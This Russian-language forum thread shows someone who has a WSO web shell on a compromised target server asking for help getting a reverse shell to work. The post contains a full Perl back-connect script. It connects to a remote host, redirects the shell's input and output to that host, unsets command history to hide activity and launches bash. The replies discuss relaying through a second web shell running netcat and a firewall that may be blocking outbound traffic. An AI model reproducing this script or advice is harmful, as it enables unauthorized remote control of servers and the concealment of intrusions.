Имеется шелл wso на целевом сервере, стандартными тулзами бинд/бэк не устанавливаются - netcat просто закрывается. При запуске скрипта PHP: #!/usr/bin/perl use IO::Socket; $system = '/bin/bash'; $ARGC=@ARGV; print "# <==BackConnect Shell==> \n\n"; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; die "Ex: $0 127.0.0.1 1313 \n"; } use Socket; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; print "[*] Resolving HostName\n"; print "[*] Connecting… $ARGV[0] \n"; print "[*] Spawning Shell \n"; print "[*] Connected to remote host \n"; print "[*] Connection established\n"; system SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "# <==BackConnect Shell==> \n\n"; system("unset HISTFILE; unset SAVEHIST ;echo –==Systeminfo==– ; uname -a;echo; echo –==Userinfo==– ; id;echo;echo –==Directory==– ; pwd;echo; echo –==Shell==– ;echo –===Who==– ; whoami;echo; "); system($system); #EOF получаю сообщение Code: Unable to Resolve Host В качестве хоста выступает другой вебшелл, с установленным на сервере неткатом. Шелл проверенный, уверен, что проблема в целевом сервере. Подскажите, куда смотреть и что можно сделать?
попробуй сначало приконектиться к одному шелу через неткат и поставь там порт на прослушку, а тот к которому не можешь подключиться, с него уже бек на тот шелл к которому ты уже подключился, заметел такую закономерность при таком способе что если шелы разных осей, то такая схема не всегда получается...
Собственно, так я и делаю. Меня смущает ответ "Unable to Resolve Host", может, файрвол, который блочит исходящий трафик?